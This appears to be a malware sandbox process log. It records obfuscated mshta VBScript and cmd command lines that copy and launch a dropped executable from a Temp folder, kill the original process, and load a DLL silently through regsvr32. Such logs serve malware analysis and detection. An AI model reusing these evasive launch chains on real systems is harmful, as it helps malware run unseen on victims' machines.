mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
1756cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\AppData\Local\Temp\sfx_123_400.exe" ) do taskkill -Im "%~nxr" -F > NUl
1460mshta.exe "C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
1276cmd.exe "C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
604regsvr32.exe "C:\Windows\System32\regsvr32.exe" -U /S 9ETO.DC
2564taskkill.exe taskkill -Im "sfx_123_400.exe" -F
3060